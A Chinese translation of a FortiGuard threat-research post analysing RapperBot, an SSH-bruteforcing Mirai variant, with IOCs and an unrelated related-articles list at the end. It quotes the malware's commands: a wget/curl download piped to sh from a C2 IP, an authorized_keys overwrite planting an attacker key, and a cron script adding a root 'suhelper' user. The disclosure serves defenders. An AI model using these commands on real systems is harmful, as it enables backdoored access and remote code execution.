RapperBot,你在醞釀什麼?
So RapperBot, What Ya Bruting For?
原文地址:https://www.fortinet.com/blog/threat-research/rapperbot-malware-discovery
翻譯:夢幻的彼岸
自2022年6月中旬以來,FortiGuard實驗室一直在跟蹤一個快速發展的物聯網惡意軟體家族,稱為 "RapperBot"。這個家族在很大程度上借用了原始Mirai的原始碼,但它與其他物聯網惡意軟體家族的區別在於,它內建的能力是對憑證進行暴力破解,並獲得對SSH伺服器的訪問,而不是像Mirai中實現的Telnet。
此外,最近的樣本顯示,它的開發者已經開始新增程式碼以保持永續性,這在其他Mirai變種中很少做到。這使威脅者能夠透過SSH繼續訪問受感染的裝置,即使在裝置重新啟動或惡意軟體被刪除後也是如此。
受影響的平臺:Linux系統
受影響的使用者:任何組織
影響:遠端攻擊者獲得對受攻擊系統的控制
嚴重性等級:嚴重
這篇文章揭示了這種威脅是如何在受害者裝置上感染和持續存在的,還有一些有趣的變化,使我們對威脅者的真正意圖產生懷疑。
發現
2022年6月,FortiGuard實驗室遇到了帶有SSH相關字串的物聯網惡意軟體樣本,這在其他物聯網威脅活動中不常見。更加引起我們興趣的是引用這些字串的程式碼的大小與用於DDoS攻擊的程式碼相比,後者通常包括其他變種中的大部分程式碼。
經過進一步分析,我們發現這個被稱為 "RapperBot "的惡意軟體家族,主要被設計成具有有限的DDoS能力的SSH蠻力破壞者。與大多數物聯網惡意軟體一樣,它的目標是ARM、MIPS、SPARC和X86架構。
RapperBot "這個名字來自7月初CNCERT的一份報告,其中在較早的樣本中發現了一個嵌入YouTube說唱音樂影片的URL。在這份報告之後釋出的RapperBot的樣本不包含這個URL。
來自另一個世界的Hello
RapperBot大量重用了Mirai的部分原始碼,但其功能和實施細節,如命令和控制(C2)命令協議,與原始Mirai和FortiGuard實驗室監測到的基於Mirai的典型變種有很大不同。
與大多數Mirai變種不同的是,RapperBot專門掃描並試圖對配置為接受密碼驗證的SSH伺服器進行暴力攻擊,這些變種使用預設或弱密碼。惡意軟體的大部分程式碼包含一個SSH 2.0客戶端的實現,它可以連線和蠻力攻擊任何支援768位或2048位金鑰的Diffie-Hellmann金鑰交換和使用AES128-CTR的資料加密的SSH伺服器。
在RapperBot中蠻力實現的一個明顯特徵是在SSH協議交換階段使用 "SSH-2.0-HELLOWORLD "向目標SSH伺服器標識自己。這個RapperBot在6月中旬的出現與SANS網際網路風暴中心在他們的蜜罐日誌中觀察到的相同的客戶端識別字串相吻合。
早期的樣本在二進位制檔案中硬編碼了破解的憑證列表。從7月開始,樣本現在從C2伺服器的另一個埠檢索這個列表。這使得威脅者可以不斷增加新的SSH憑證,而不必用新的樣本來更新受感染的裝置。在最新的樣本中,這個埠號從4343到4345不等。
一旦RapperBot成功地對SSH伺服器進行暴力攻擊,有效的憑證就會在一個單獨的埠(目前是48109)上報告給C2伺服器,而不會對遠端受害者執行進一步的命令。
然而,在6月下旬,FortiGuard實驗室發現一些樣本試圖透過遠端二進位制下載器在入侵後進行自我傳播。在被入侵的SSH伺服器上執行的命令如下。
sh
enable
shell
debug shell
cmd
wget http://2[.]58[.]149[.]116/w -O- | sh; curl http://2[.]58[.]149[.]116/c -O- | sh
由於未知的原因,這種傳播功能在幾天後收集的樣本中被刪除了,在隨後的樣本中也沒有看到。與最初的Mirai一樣,我們懷疑威脅者已經實施了一個單獨的載入器系統,隨後將連線到受害者,下載並執行殭屍客戶端。
永遠不會放棄你
自7月中旬以來,RapperBot已經從自我傳播轉為維持對被破解的SSH伺服器的遠端訪問。它執行一個shell命令來替換遠端受害者的~/.ssh/authorized_keys,其中包含威脅者的SSH公鑰,註釋為 “helloworld,”如下所示:
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAACAQC/yU0iqklqw6etPlUon4mZzxslFWq8G8sRyluQMD3i8tpQWT2cX/mwGgSRCz7HMLyxt87olYIPemTIRBiyqk8SLD3ijQpfZwQ9vs Hc47hdTBfj89FeHJGGm1KpWg8lrXeMW+5jIXTFmEFhbJ18wc25Dcds4QCM0DvZGr/Pg4+kqJ0gLyqYmB2fdNzBcU05QhhWW6tSuYcXcyAz8Cp73JmN6TcPuVqHeFYDg05KweY qTqThFFHbdxdqqrWy6fNt8q/cgI30NBa5W2LyZ4b1v6324IEJuxImARIxTc96Igaf30LUza8kbZyc3bewY6IsFUN1PjQJcJi0ubVLyWyyJ554Tv8BBfPdY4jqCr4PzaJ2Rc1J FJYUSVVT4yX2p7L6iRpW212eZmqLMSoR5a2a/tO2s1giIlb+0EHtFWc2QH7yz/ZBjnun7opIoslLVvYJ9cxMoLeLr5Ig+zny+IEA3x090xtcL62X0jea6btVnYo7UN2BARziis Zze6oVuOTCBijuyvOM6ROZ6s/wl4CQAOSLDeFIP5L1paP9V1XLaYLDBAodNaUPFfTxggH3tZrnnU8Dge5/1JNa08F3WNUPM1S1x8L2HMatwc82x35jXyBSp3AMbdxMPhvyYI8v 2J1PqJH8OqGTVjdWe40mD2osRgLo1EOfP/SFBTD5VEo95K2ZLQ== helloworld">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~;
儲存在~/.ssh/authorized_keys中的公鑰允許任何擁有相應私鑰的人連線並驗證SSH伺服器而不需要提供密碼。這對被破壞的SSH伺服器構成了威脅,因為即使在SSH憑證被改變或SSH密碼認證被禁用後,威脅者也可以訪問它們。此外,由於檔案被替換,所有現有的授權金鑰被刪除,這使得合法使用者無法透過公鑰認證訪問SSH伺服器。
除了保持對每個SSH伺服器的訪問,RapperBot還非常想在它執行的任何裝置上保留其立足點。7月中旬的樣本在執行時將上述相同的SSH金鑰附加到受感染裝置的本地"~/.ssh/authorized_keys"。這允許RapperBot透過SSH保持對這些受感染裝置的訪問,即使在裝置重啟或RapperBot從裝置中移除後也是如此,這對大多數Mirai變種來說是不典型的。為了更好地隱藏在眾目睽睽之下,最新的樣本使用一個更無害的註釋 "由伺服器20220709生成的系統金鑰 "作為公鑰,而不是 "helloworld"。
在最新的RapperBot樣本中,該惡意軟體還開始透過直接寫入"/etc/passwd "和"/etc/shadow/"向受感染的裝置新增根使用者 "suhelper",進一步允許威脅行為者完全控制該裝置。同時,在其他使用者(或殭屍網路)試圖從受害者系統中刪除他們的賬戶的情況下,它每小時透過向"/etc/cron.hourly/0 "寫入以下指令碼新增根使用者賬戶。下面提供了新增root使用者的命令
#!/bin/sh
useradd -u 0 -g 0 -o -d / suhelper -p '$1$1OJBlhUV$E9DMK0xdoZb8W8wVOibPQ/' >/dev/null 2>&1
說明了RapperBot的最新樣本如何工作。虛線表示FortiGuard實驗室評估的潛在行動,威脅者可以執行這些行動,但在實際場景中沒有被觀察到。
你看不到我了
雖然早期的樣本有明文的字串,但隨後的樣本透過在棧上構建字串,給字串增加了額外的混淆。這使得普通的分析工具和檢測技術無法從二進位制檔案中提取解密的字串
此外,這些最新的樣本實施了一層額外的Mirai風格的XOR編碼,以隱藏這些字串在執行過程中的記憶體掃描器。
雖然大多數Mirai和Gafgyt殭屍網路運營商,如Keksec,傾向於在惡意軟體樣本中包含識別自己的字串,但這種惡意軟體的開發者保持相對低調(除了偶爾提到說唱音樂)。
網路協議
以接收命令(在最新的樣本中為443),下載SSH證書列表,或在SSH暴力攻擊期間報告有效證書。
命令的網路協議將在下面進一步詳細解釋。
每個請求都包含一個bot D,一個在二進位制中硬編碼的32位元組的值。FortiGuard實驗室觀察到兩個ID,如下:
d4 1c 74 44 70 95 28 ff f0 98 ae 4e 6f 92 ba d5 0f cd 56 29 c5 12 53 a1 fe 46 53 c7 0b b5 18 27
f6 b7 0b 00 14 77 35 f9 8d 6d 5d c4 bd 23 88 7e cf 5e 02 ce 54 5f e7 b1 e6 3f 2a 16 71 b6 eb 9a (另一個叢集只在2021年12月底出現過)
作為一個附帶說明,對這些機器人ID的透視使我們能夠找到2021年11月的舊樣本。然而,SSH暴力強迫能力只出現在2022年6月中旬的樣本中。
RapperBot開始向C2伺服器傳送一個註冊資料包。這包括二進位制檔案在受害者系統中執行時使用的引數(被Mirai稱為 "源"),這通常提供一些關於其執行的基本背景資訊。例如,"ssh.wget.arm7 "將告訴C2,二進位制檔案是透過SSH協議傳播的,透過wget工具下載,並且是ARM架構的。
後續的通訊採用如下構造:
1 2 3 4 5 |
|
以下是RapperBot所支援的命令程式碼:
- 0x00: Register (used by the client)
- 0x01: Keep-Alive/Do nothing
- 0x02: Stop all DoS attacks and terminate the client
- 0x03: Perform a DoS attack
- 0x04: Stop all DoS attacks
就在註冊資料包之後,客戶端傳送另一個請求,通知C2,客戶端已經準備好接收命令。C2伺服器通常用一個keep-alive命令來回應,以確認該請求。
除了keep-alive命令,我們在分析期間沒有觀察到C2伺服器的任何其他命令。
然而,RapperBot確實支援一套非常小的DoS攻擊,包括普通的UDP和TCP STOMP洪水攻擊,與Mirai的實現非常相似。
攻擊命令構造如下:
1 2 3 4 5 6 7 8 |
|
神秘的動機
FortiGuard實驗室已經監測這一威脅超過一個月了。在這段時間裡,它經歷了幾個有趣的變化,在試圖確定威脅者發起這一活動的主要動機時,引起的問題多於答案。
有一次,觀察到樣本中的DDoS攻擊功能被完全刪除,一週後又重新新增。保留DDoS功能是否是為了偽裝成一個典型的DDoS殭屍網路,以避免引起太多的注意?也有可能這整個活動仍在進行中。
此外,自我傳播在6月下旬的幾天後被刪除,目前的重點是積極保留繼續訪問暴力強迫的SSH伺服器。威脅者對收集被破壞的SSH裝置比擴大他們的殭屍網路更感興趣嗎?
除此之外,我們還沒有看到在暴力強迫後交付的額外有效載荷。我們只能猜測為什麼威脅者正在收集一個快速增長的被破壞的SSH伺服器的集合。在過去的1個半月裡,我們觀察到超過3500個獨特的IP,試圖用SSH-2.0-HELLOWORLD客戶端識別字串掃描和暴力破解SSH伺服器。
總結
雖然這種威脅大量借用了Mirai的程式碼,但它的特點使其有別於其前身及其變種。它在受害者系統中持續存在的能力使威脅者可以靈活地將其用於任何他們想要的惡意目的。
由於RapperBot經歷了一些重大和奇怪的變化,它的主要動機仍然是一個謎。無論如何,由於它的主要傳播方式是暴力強迫SSH憑證,透過為裝置設定強密碼或禁用SSH的密碼驗證(在可能的情況下),可以很容易地緩解這種威脅。
FortiGuard實驗室將繼續監測RapperBot的發展。
Fortinet保護措施
Fortinet客戶受到以下保護:
- FortiGuard防病毒服務檢測並阻止這種威脅,如ELF/Mirai和Linux/Mirai。
- FortiGuard Web過濾服務阻止C2伺服器和下載的URL。
FortiGuard IP Reputation and Anti-Botnet Security Service 透過聚合來自Fortinet分散式網路的威脅感測器、CERTs、MITRE、合作競爭者和其他全球來源的惡意源IP資料,主動阻止這些攻擊。
IOCs
Files
92ae77e9dd22e7680123bb230ce43ef602998e6a1c6756d9e2ce5822a09b37b4
a31f4caa0be9e588056c92fd69c8ac970ebc7e85a68615b1d9407a954d4df45d
e8d06ac196c7852ff71c150b2081150be9996ff670550717127db8ab855175a8
23a415d0ec6d3131f1d537836d3c0449097e98167b18fbdbf2efca789748818a
c83f318339e9c4072010b625d876558d14eaa0028339db9edf12bbcafe6828bb
05c78eaf32af9647f178dff981e6e4e43b1579d95ccd4f1c2f1436dbfa0727ad
88bbb772b8731296822646735aacbfb53014fbb7f90227b44523d7577e0a7ce6
e8f1e8ec6b94ea54488d5f714e71e51d58dcdfe4be3827c55970d6f3b06edf73
23256f231f3d91b0136b44d649b924552607a29b43a195024dbe6cde5b4a28ad
77b2e5fb5b72493bde35a6b29a66e6250b6a5a0c9b9c5653957f64a12c793cd5
dcdeedee4736ec528d1a30a585ec4a1a4f3462d6d25b71f6c1a4fef7f641e7ae
ebb860512a55c1cdc8be1399eec44c4481aedb418f15dbda4612e6d38e9b9010
9d234e975e4df539a217d1c4386822be1f56cea35f7dd2aa606ae4995894da42
1975851c916587e057fa5862884cbac3fa1e80881ddd062392486f5390c86865
8380321c1bd250424a0a167e0f319511611f73b53736895a8d3a2ad58ffcd5d5
f5ff9d1261af176d7ff1ef91aa8c892c70b40caa02c17a25de22539e9d0cdd26
2298071b6ba7baa5393be064876efcdbd9217c212e0c764ba62a6f0ffc83cc5a
2479932a6690f070fa344e5222e3fbb6ad9c880294d5b822d7a3ec27f1b8b8d5
1d5e6624a2ce55616ef078a72f25c9d71a3dbc0175522c0d8e07233115824f96
746106403a98aea357b80f17910b641db9c4fedbb3968e75d836e8b1d5712a62
ddf5aff0485f395c7e6c3de868b15212129962b4b9c8040bef6679ad880e3f31
e56edaa1e06403757e6e2362383d41db4e4453aafda144bb36080a1f1b899a02
55ff25b090dc1b380d8ca152428ba28ec14e9ef13a48b3fd162e965244b0d39b
8e9f87bb25ff83e4ad970366bba47afb838028f7028ea3a7c73c4d08906ec102
d86d158778a90f6633b41a10e169b25e3cb1eb35b369a9168ec64b2d8b3cbeec
ff09cf7dfd1dc1466815d4df098065510eec504099ebb02b830309067031fe04
下載 URLs
hxxp://31[.]44[.]185[.]235/x86
hxxp://31[.]44[.]185[.]235/mips
hxxp://31[.]44[.]185[.]235/arm7
hxxp://2[.]58[.]149[.]116/arm
hxxp://2[.]58[.]149[.]116/spc
hxxp://2[.]58[.]149[.]116/mips
hxxp://2[.]58[.]149[.]116/x86_64
hxxp://2[.]58[.]149[.]116/ssh/arm7
hxxp://2[.]58[.]149[.]116/ssh/mips
hxxp://2[.]58[.]149[.]116/ssh/x86
hxxp://2[.]58[.]149[.]116/ssh/spc
hxxp://194[.]31[.]98[.]244/ssh/new/spc
hxxp://194[.]31[.]98[.]244/ssh/new/x86
hxxp://194[.]31[.]98[.]244/ssh/new/mips
hxxp://194[.]31[.]98[.]244/ssh/new/arm7
hxxp://194[.]31[.]98[.]244/ssh/new/arm
hxxp://194[.]31[.]98[.]244/ssh/new/x86
hxxp://194[.]31[.]98[.]244/ssh/new/mips
hxxp://194[.]31[.]98[.]244/ssh/new/arm7
hxxp://194[.]31[.]98[.]244/ssh/new/arm
hxxp://185[.]225[.]73[.]196/ssh/new/arm
hxxp://185[.]225[.]73[.]196/ssh/new/arm7
hxxp://185[.]225[.]73[.]196/ssh/new/mips
hxxp//185[.]225[.]73[.]196/ssh/new/x86
C2
31[.]44[.]185[.]235
2[.]58[.]149[.]116
194[.]31[.]98[.]244
185[.]225[.]73[.]196
威脅主體 SSH public key
AAAAB3NzaC1yc2EAAAADAQABAAACAQC/yU0iqklqw6etPlUon4mZzxslFWq8G8sRyluQMD3i8tpQWT2cX/mwGgSRCz7HMLyxt87olYIPemTIRBiyqk8SLD3ijQpfZwQ9vsHc47hdTBfj89FeHJ GGm1KpWg8lrXeMW+5jIXTFmEFhbJ18wc25Dcds4QCM0DvZGr/Pg4+kqJ0gLyqYmB2fdNzBcU05QhhWW6tSuYcXcyAz8Cp73JmN6TcPuVqHeFYDg05KweYqTqThFFHbdxdqqrWy6fNt8q/cgI30 NBa5W2LyZ4b1v6324IEJuxImARIxTc96Igaf30LUza8kbZyc3bewY6IsFUN1PjQJcJi0ubVLyWyyJ554Tv8BBfPdY4jqCr4PzaJ2Rc1JFJYUSVVT4yX2p7L6iRpW212eZmqLMSoR5a2a/tO2s1 giIlb+0EHtFWc2QH7yz/ZBjnun7opIoslLVvYJ9cxMoLeLr5Ig+zny+IEA3x090xtcL62X0jea6btVnYo7UN2BARziisZze6oVuOTCBijuyvOM6ROZ6s/wl4CQAOSLDeFIP5L1paP9V1XLaYLD BAodNaUPFfTxggH3tZrnnU8Dge5/1JNa08F3WNUPM1S1x8L2HMatwc82x35jXyBSp3AMbdxMPhvyYI8v2J1PqJH8OqGTVjdWe40mD2osRgLo1EOfP/SFBTD5VEo95K2ZLQ==
威脅主體 root 使用者
/etc /passwd suhelper:x:0:0::/:
/etc /shadow suhelper:$1$1OJBlhUV$E9DMK0xdoZb8W8wVOibPQ/:19185:0:99999:7:::
相關文章
- 開源:醞釀創新思想和創新產品的運動(轉)2007-08-17
- 針對網際網路支付的“網聯”正醞釀面世 功能與銀聯相似2016-04-18
- 華為與第四正規化,正在醞釀一個幫企業跳出AI悖論的“祕密計劃”2020-09-13AI
- 周鴻禕:如今的人工智慧只是新瓶裝舊酒,至少還需5到10年的醞釀期2018-05-08人工智慧
- 做個調查?你在使用什麼工具?2003-09-04
- 因為什麼你還在北京苟著2024-06-10
- 怎樣才能做釀酒遊戲設計師?真的釀酒,也真的在酒窖里長大2021-06-09遊戲設計師
- 當遇到css佈局,你在考慮什麼?2019-04-02CSS
- 你在業餘時間都開發過什麼?2013-08-06
- 是什麼在影響著你的旅行決策?2024-05-31
- 什麼是布隆過濾器?在php裡你怎麼用?2022-05-19過濾器PHP
- 【思考未來】你憑什麼不下崗?我在問自己。2018-11-23
- Elasticsearch:是什麼?你為什麼需要他?2019-12-25Elasticsearch
- 為了讓你在“口袋奇兵”聊遍全球,Serverless 做了什麼?2021-02-24Server
- 當你在設定裡修改字型大小的時候,到底在修改什麼2017-09-11
- 你知道什麼是 GitHub Action 麼?2020-04-25Github
- 你為什麼不分享?2015-09-24
- 為什麼為什麼為什麼為什麼為什麼你要做一名程式設計師?2011-09-22程式設計師
- 資料在騙你!為什麼爛口碑遊戲會有好銷量2020-07-08遊戲
- 本人告訴你為什麼 現在還要學 Node.js2020-08-01Node.js
- 什麼?入門連結串列後你還在棧堆裡徘徊?2021-10-13
- [譯]為什麼你應該在相等比較中使用 Object.is()2017-04-06Object
- 你覺得你的測試水平怎麼樣,在市場上是一個什麼樣的水平。2024-03-18
- 讓 APISpace 告訴你什麼場景使用什麼API2023-02-06API
- 面試官問:你知道Redis能做什麼?不能做什麼?2021-01-22面試Redis
- 0基礎學Linux你需要學習什麼,你需要做什麼,該怎麼做。2018-11-11Linux
- Twitter能為你做什麼?2020-04-07
- 前端框架你究竟選什麼2013-03-30前端框架
- 你為什麼離職呢?2024-11-21
- 【NLP學習其三】在學習什麼是嵌入之前,你應該瞭解什麼是詞語表徵2021-07-02
- 為什麼你在辛苦做專案國際化,而別人在喝茶?2020-03-26
- 淺談元遊戲:“遊戲知道你在玩它”是種什麼體驗?2020-05-18遊戲
- HTTP/3 來啦,你還在等什麼?趕緊了解一下2018-11-12HTTP
- 當我們談 Java 併發的時候,你們在談什麼?2018-08-02Java
- 你在終端啟動的程式,最後都是什麼下場?(上)2022-11-30
- 你在終端啟動的程式,最後都是什麼下場?(下)2022-12-03
- 讓機器學習告訴你,你的siri在想什麼!2018-05-10機器學習
- 在JavaScript中this到底指代什麼?2019-04-08JavaScript